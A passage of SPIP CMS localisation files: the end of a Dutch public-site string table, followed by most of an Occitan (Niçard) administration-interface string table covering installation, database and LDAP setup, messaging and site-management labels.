'envoyer_message' => 'Een bericht sturen',
'espace_prive' => 'Privé-site',
// F
'formats_acceptes' => 'Aanvaarde formaten : @formats@.',
// H
'hierarchie_site' => 'Structuur van de site',
// J
'jours' => 'dagen',
// L
'lien_connecter' => 'Zich aansluiten',
// M
'meme_auteur' => 'Van dezelfde auteur',
'meme_rubrique' => 'In dezelfde rubriek',
'memes_auteurs' => 'Van dezelfde auteurs',
'message' => 'Bericht',
'messages_forum' => 'Berichten',
'messages_recents' => 'Meest recente berichten van de forums',
'mots_clef' => 'Trefwoord',
'mots_clefs' => 'Trefwoorden',
'mots_clefs_meme_groupe' => 'Trefwoorden van dezelfde groep',
// N
'navigation' => 'Navigatie',
'nom' => 'Naam',
'nouveautes' => 'Nieuwigheden',
'nouveautes_web' => 'Nieuwigheden op het Web',
'nouveaux_articles' => 'Nieuwe artikels',
'nouvelles_breves' => 'Nieuwe nieuwsberichten',
// P
'page_precedente' => 'vorige pagina',
'page_suivante' => 'volgende pagina',
'par_auteur' => 'door ',
'participer_site' => 'Je kan bijdragen tot deze site door je eigen artikels voor te stellen als je je hieronder inschrijft. Je krijgt meteen een e-mail met daarin de toegangscode voor het privé-deel van de site.',
'plan_site' => 'Overzicht van de site',
'popularite' => 'Populariteit',
'poster_message' => 'Een bericht plaatsen',
'proposer_site' => 'Je kan voorstellen een site in deze rubriek op te nemen :',
// R
'repondre_article' => 'Dit artikel beantwoorden',
'repondre_breve' => 'Dit nieuwsbericht beantwoorden',
'resultats_recherche' => 'Resultaten van de zoekopdracht',
'retour_debut_forums' => 'Terug naar de startpagina van de forums',
'rubrique' => 'Rubriek',
'rubriques' => 'Rubrieken',
// S
'signatures_petition' => 'Handtekeningen',
'site_realise_avec_spip' => 'Site gebouwd met SPIP',
'sites_web' => 'Websites',
'sous_rubriques' => 'Subrubrieken',
'spam' => 'Spam',
'suite' => 'vervolg',
'sur_web' => 'Op het web',
'syndiquer_rubrique' => 'Nieuws overnemen uit deze rubriek',
'syndiquer_site' => 'Nieuws overnemen van de hele site',
// T
'texte_lettre_information' => 'Ziehier de nieuwsbrief van de site',
'texte_lettre_information_2' => 'Deze brief geeft de laatste gepubliceerde sinds',
// V
'ver_imprimer' => 'Afdrukversie',
'voir_en_ligne' => 'Online bekijken',
'voir_squelette' => 'het skelet van deze bladzijde zien'
);
?>
ecrire_oc_ni_la.php 0000666 00000147204 15252547432 0010376 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Aquela part de l’ajuda en linha non es encara disponibla per aquesta lenga.',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'avis_aucun_resultat' => 'Minga de resultat.',
'avis_chemin_invalide_1' => 'Lo camin qu’avètz chausit',
'avis_chemin_invalide_2' => 'non sembla valid. Vorgatz tornar a la pàgina anteriora per verificar li informacions fornidi.',
'avis_connexion_echec_1' => 'La connexion au servidor SQL s’es encalada.', # MODIF
'avis_connexion_echec_2' => 'Tornatz a la pàgina anteriora, e verificatz li informacions qu’avètz fornidi.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus tot plen de servidors, devètz <b>demandar</b> qu’activen lo vòstre accès a la basa SQL avans de la poder utilizar. Se non vos podètz connectar, verificatz qu’augatz ben realizat aqueu procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servidor LDAP s’es encalada.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pàgina anteriora, e verificatz li informacions qu’avètz fornidi. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, non utilizetz lo supòrt LDAP per importar d’utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquela rubrica conten @contient_breves@ brèvas@scb@: se la desplaçatz, vorretz ben oscar aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari avans de mandar aqueu messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichier @archive@ correspònde a una autra version d’SPIP qu’aquela qu’avètz installada.</b> Anatz devèrs de dificultats grandassi: risca de destruccion de la vòstra basa de donadas, disfoncionaments divèrs dau sit, etc. Non validetz aquela demanda d’importacion.<p> Per mai d’informacions, veètz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP es ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion non a pas legir lu noms dei basas de donadas installadi.',
'avis_lecture_noms_bases_2' => 'Sia minga de basa es disponibla, sia la foncion que permete d’entierar li basas es estada desactivada per de rasons de seguretat (aquò es lo cas a cò de plusors aubergadors).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que pòrta lo vòstre nom de login sia utilizabla:',
'avis_non_acces_message' => 'Non podètz accedir a aqueu messatge.',
'avis_non_acces_page' => 'Non podètz accedir a aquela pàgina.',
'avis_operation_echec' => 'L’operacion s’es encalada.',
'avis_probleme_archive' => 'Problèma de lectura dau fichier @archive@',
'avis_suppression_base' => 'ATENCION, suprimir li donadas es irreversible',
'avis_version_mysql' => 'La vòstra version de SQL (@version_mysql@) non permete l’autoreparacion dei taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriament un sit web',
'bouton_checkbox_signature_unique_email' => 'basta una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'basta una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aquest article',
'bouton_effacer_index' => 'Esfaçar lu indèx',
'bouton_effacer_tout' => 'O esfaçar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatjaria intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjaria intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tiera dei redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjaria',
'bouton_radio_envoi_annonces_adresse' => 'Mandar lu anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tiera dei novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Non aparéisser dins la tiera dei redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Non mandar d’anoncis editoriaus',
'bouton_radio_pas_petition' => 'Minga de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Assaiar de reparar',
'bouton_test_proxy' => 'Assaiar lo proxy',
'bouton_vider_cache' => 'Vuar l’escondedor',
'bouton_voir_message' => 'Veire aqueu messatge avans de lo validar',
// C
'cache_mode_compresse' => 'Lu fichiers de l’escondedor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Lu fichiers de l’escondedor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre dau sit pòu modificar aquestu paramètres.',
'calendrier_synchro' => 'S’utilizatz un logiciau d’agenda compatible <b>iCal</b>, lo podètz sincronizar embai informacions d’aquest sit.',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'La vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donadas',
'entree_base_donnee_2' => '(Sovent, aquela adreiça correspònde a aquela dau vòstre sit, de còups correspònde a la mençon "localhost", de còups, si laissa vueia completament.)',
'entree_biographie' => 'Biografia corta, en quaucu mots.',
'entree_chemin_acces' => '<b>Intrar</b> lo camin d’accès:',
'entree_cle_pgp' => 'La vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quaucu mots.)',
'entree_identifiants_connexion' => 'Lu vòstres identificants de connexion...',
'entree_informations_connexion_ldap' => 'Vorgatz intrar dins aqueu formulari li informacions de connexion au vòstre annuari LDAP.
L’administrator dau sistèma ò de la ret vos deu poder fornir
aqueli informacions.',
'entree_infos_perso' => 'Cu siatz?',
'entree_interieur_rubrique' => 'Dintre la rubrica:',
'entree_liens_sites' => '<b>Ligam ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Lo vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspònde de còups au vòstre login d’accès a l’FTP; de còups si laissa vuei)',
'entree_login_ldap' => 'Login LDAP iniciau',
'entree_mot_passe' => 'Lo vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspònde de còups au vòstre mot de santa Clara per l’FTP; de còups si laissa vuei)',
'entree_nom_fichier' => 'Vorgatz intrar lo nom dau fichier @texte_compresse@:',
'entree_nom_pseudo' => 'Lo vòstre nom ò lo vòstre pseudonim',
'entree_nom_pseudo_1' => '(Lo vòstre nom ò lo vòstre pseudonim)',
'entree_nom_site' => 'Lo nom dau vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara novèu',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo número de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) dau vòstre sit',
// I
'ical_info1' => 'Aquela pàgina mòstra de metòdes diferents per restar en contacte emb la vida d’aqueu sit.',
'ical_info2' => 'Per tenir mai d’informacions sobre aqueli tecnicas, non esitetz de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a doi calendiers a la vòstra disposicion. Lo primier es un plan dau sit qu’anóncia toi lu articles publicats. Lo segond conten lu anoncis editoriaus en mai dei vòstres darriers messatges privats: v’es reservat gaug a una clau personala, que la podètz modificar en tot moment en renovant lo vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecargament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Lu articles publicats en aqueu sit si pòdon afichar aisat, dins toi lu sits vòstres, en fent servir una linha javascript. ',
'ical_texte_prive' => 'Aqueu calendier, d’us estrictament personau, v’informa de l’activitat editoriala privada d’aqueu sit (òbras e rendètz-vos personaus, articles e brèvas prepauats...).',
'ical_texte_public' => 'Aqueu calendier vos permete de sègre l’activitat publica d’aqueu sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Podètz sindicar li novetats d’aquest sit dins quin legidor de fichiers que sia en format XML/RSS (Rich Site Summary). Es finda lo format que permete a SPIP de legir li novetats publicadi dins d’autres sits en utilizant un format d’escambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrier',
'ical_titre_rss' => 'Fichiers «backend»', # MODIF
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_afficher_auteurs' => 'Afichar lu autors',
'icone_afficher_visiteurs' => 'Afichar lu vesitaires',
'icone_arret_discussion' => 'Quitar aquela discussion',
'icone_calendrier' => 'Calendier',
'icone_creer_auteur' => 'Crear un autor nòu e l’associar a aquel article',
'icone_creer_mot_cle' => 'Crear un mot clau nòu e lo ligar a aquel article',
'icone_creer_rubrique_2' => 'Crear una rubrica nòva',
'icone_envoyer_message' => 'Mandar aqueu messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aqueu messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podètz activar un <b>cookie de correspondéncia</b>; aquò vos permetrà de passar aisat dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerisse li rubricas seguenti:',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gerisse <b>toti li rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit(<i>d’utilizar emb precaucion</i>)',
'info_administrateur_site_01' => 'Se siatz administrator/tritz dau sit, vorgatz',
'info_administrateur_site_02' => 'clicar aqueu liame',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) dau sit public',
'info_afficher_visites' => 'Afichar li vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quand apondètz d’imatges coma estacaments jonchs a un article, SPIP pòu crear automaticament per vos de vinhetas (miniaturas) dei imatges inserits. Aquò permete per exemple de crear automaticament una galaria ò un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut:',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci dei novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Lu articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Lu articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Lu vòstres articles en espèra de validacion',
'info_aujourdhui' => 'ancuei:',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Lu autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de la vòstra basa de donadas es installada.',
'info_chapeau' => 'Capèu',
'info_chapeau_2' => 'Capèu:',
'info_chemin_acces_1' => 'Opcions: <b>camin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Aüra devètz configurar lo camin d’accès ai informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions: <b>camin d’accès dins l’annuari',
'info_choix_base' => 'Tèrça estapa:',
'info_classement_1' => '<sup>ier</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Non oblidetz lu vòstres còdes d’accès pròpris!',
'info_config_suivi' => 'S’aquela adreiça correspònde a una lista de corrier, podètz indicar çai sota l’adreiça dont lu participants au sit si pòdon inscriure. Aquela adreiça pòu èstre una URL (per exemple la pàgina d’inscripcion a la lista per lo web), ò una adreiça e-mail tenent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Vos podètz abonar a la lista de difusion d’aquest sit. Alora recebretz per e-mail lu anoncis d’articles e de brèvas que si prepaua a la publicacion.',
'info_confirmer_passe' => 'Confirmar aqueu mot de santa Clara novèu:',
'info_connexion_base' => 'Segonda estapa: <b>Assai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP a capitat.</b><p> Podètz passar a l’estapa seguenta.</p>', # MODIF
'info_connexion_mysql' => 'Primiera estapa: <b>La vòstra connexion SQL</b>',
'info_connexion_ok' => 'La connexion a capitat.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut dei articles',
'info_creation_paragraphe' => '(Per crear de paragrafs, basta que laissetz de linhas vueii.)', # MODIF
'info_creation_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear aumens una rubrica.<br />',
'info_creation_tables' => 'Quarta estapa: <b>Creacion dei taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> una basa de donadas novèla:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERENCIAMENT D’AQUEU SIT:',
'info_derniere_etape' => 'Darriera estapa: <b>Es acabat!',
'info_derniers_articles_publies' => 'Lu vòstres darriers articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podètz activar ò desactivar la vòstra messatjaria personala sus aqueu sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Avans de poder escriure d’articles, vos cau crear aumens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail de mandadís (opcionau)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar lu e-mails (a fauta d’aquò, s’utilizarà l’adreiça destinatari coma adreiça de mandadís):',
'info_email_webmestre' => 'Adreiça e-mail dau responsable dau sit (opcionau)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Mandadís d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar aüra',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Podètz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Podètz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vèrs @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo segut de l’activitat editoriala dau sit, SPIP vos pòu fornir per e-mail, per exemple a una lista de corrier dei redactors, l’anonci dei demandas de publicacion e dei validacions d’articles.',
'info_fichiers_authent' => 'Fichiers d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Lo vòstre sit web pòrge de forums per lu abonats; dins lo sit public lu vesitaires son convidats a si registrar.',
'info_gauche_admin_effacer' => '<b>A aquela pàgina, basta lu responsables dau sit i pòdon accedir.</b><p> Permete de trobar li diferenti foncions de mantenença tecnica. D’uni que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A aquela pàgina, basta lu responsables dau sit i pòdon accedir.</b><p> Permete de trobar li diferenti foncions de mantenença tecnica. D’uni que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A aquela pàgina, basta lu responsables dau sit i pòdon accedir.</b><p> Permete de trobar li diferenti foncions de mantenença tecnica. D’uni que i a implican un procès d’autentificacion especific, que necessita un accès FTP au sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí toi lu autors dau sit. La color dei icònas n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Lu autors exteriors, sensa accès au sit, son indicats per una icòna blava; lu autors esfaçats per un bordilhier.', # MODIF
'info_gauche_messagerie' => 'La messatjaria vos permete d’escambiar de messatges entre redactors, de servar de mementos (per lo vòstre usatge personau) o d’afichar d’anoncis sus la pàgina d’acuelh de l’espaci privat (se siatz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Aquela pàgina presenta la lista dei <i>referidors</i>, valent a dire dei sits que contenon de ligams menant vèrs lo vòstre sit pròpri, mas unicament per ièr e ancuei: aquela lista s’actualiza cada 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí lu vesitaires registrats
dins l’espaci public dau sit (forums emb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas dei imatges',
'info_gerer_trad' => 'Gerir lu ligams de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'D’unu aubergadors desactivan lo mandadís automatic
d’e-mails despí lu sieus servidors. En aqueu cas, li foncionalitats seguenti
d’SPIP non foncionaràn.',
'info_hier' => 'ièr:',
'info_historique_activer' => 'Activar lo seguiment dei revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment dei revisions',
'info_historique_texte' => 'Lo seguiment dei revisions permete de servar un istoric de toti li modificacions que s’es portat au contengut d’un article, e d’afichar li diferéncias entre li versions successivi.',
'info_identification_publique' => 'La vòstra identitat publica...',
'info_image_process' => 'Vorgatz seleccionar lo melhor metòde de fabricacion dei vinhetas en clicant sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se minga d’imatge apareisse, alora lo servidor qu’aubèrga lo vòstre sit non l’an configurat per utilizar d’aisinas tali. Se desiratz d’utilizar aqueli foncions, contactatz lo responsable tecnic e demandatz li extensions «GD» ò «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cinquena estapa: <b>Informacions personali</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèus',
'info_jeu_caractere' => 'Juec de caractèrs dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar aquelu camps vueis)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installada.',
'info_lien_hypertexte' => 'Ligam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tiera dei redactors connectats',
'info_login_existant' => 'Aqueu login ja existisse.',
'info_login_trop_court' => 'Login tròup cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la meteissa rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Lu vòstres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjaria intèrna',
'info_mise_a_niveau_base' => 'Mesa a nivèu de la vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avètz installada una version
dei fichiers SPIP {anteriora} a la que i avia
avans sus aquest sit: riscatz de pèrdre la vòstra basa de donadas
e lo vòstre sit foncionarà pus.<br />{{Tornatz installar lu
fichiers d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Lo mieu sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cercador integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga per lu articles?',
'info_multi_cet_article' => 'Lenga d’aquest article:',
'info_multi_langues_choisies' => 'Vorgatz seleccionar çai sota li lengas que son a posita dei redactors dau vòstre sit.
Li lengas ja emplegadi dins lo vòstre sit (afichadi d’en primier) non si pòdon desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per li rubricas?',
'info_multi_secteurs' => '... basta per li rubricas a la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom dau vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De non desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòu mandar, regularament, l’anonci dei darrieri novetats dau sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Non mandar la tiera dei novetats',
'info_non_modifiable' => 'non si pòu modificar',
'info_non_suppression_mot_cle' => 'non vòli suprimir aqueu mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nòus',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'Revirada nòva:',
'info_numero_article' => 'ARTICLE NÚMERO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion dei vesitaires dau sit public',
'info_option_faire_suivre' => 'Faire sègre lu messatges dei forums ai autors dei articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADI',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'ò... ',
'info_page_interdite' => 'Pàgina proïbida',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Lu doi mots de santa Clara non son identics.',
'info_pense_bete_ancien' => 'Lu vòstres mementos ancians', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Solament lu administrators pòdon previsualizar lo sit',
'info_preview_comite' => 'Toi lu redactors pòdon previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion es dau tot desactivada',
'info_preview_texte' => 'Es possible de previsualizar lo sit coma s’avian publicat toi lu articles e brèvas (que tenon aumens l’estatut "prepauat"). La cau durbir, aquela possibilitat, basta ai administrators, a toi lu redactors, ò en degun?',
'info_principaux_correspondants' => 'Lu vòstres correspondents principaus',
'info_procedez_par_etape' => 'procedissètz estapa per estapa',
'info_procedure_maj_version' => 'Cau lançar la procedura d’actualizacion per adaptar
la basa de donadas a la version novèla d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Lu vòstres articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’ai esqueletas dau vòstre sit web si prevé lo registrament de vesitaires sensa accès a l’espaci privat, vorgatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que de redactors novèus s’inscrigan
a partir dau sit public? S’o acceptatz, lu vesitaires si porràn inscriure
gaug a un formulari automatizat e alora accediràn a l’espaci privat per
prepauar d’articles.<blockquote><i> Durant la fasa d’inscripcion, lu utilizaires recebon un e-mail automatic
que li dona un còde d’accès au sit privat.
D’unu aubergadors non autorizan lo mandadís d’e-mails despí lu sieus servidors: en aqueu cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cercador integrat a SPIP? (lo desactivar abriva lo foncionament dau sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Vorgatz tornar cargar aquela pàgina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròup de resultats per "@cherche_auteur@"; vorgatz afinar la cèrca.',
'info_recherche_auteur_ok' => 'Plusors redactors trobats per "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Minga de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Vorgatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedisse a l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Lu vòstres articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article remanda a la pàgina:',
'info_reserve_admin' => 'Basta lu administrators pòdon modificar aquela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrca:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadi',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadi (dins lo tèxt)',
'info_sans_titre' => 'Sensa títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sota lo camin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Lu sits referenciats ligats a aqueu mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor:', # MODIF
'info_statut_efface' => 'Esfaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit dei utilizaires importats',
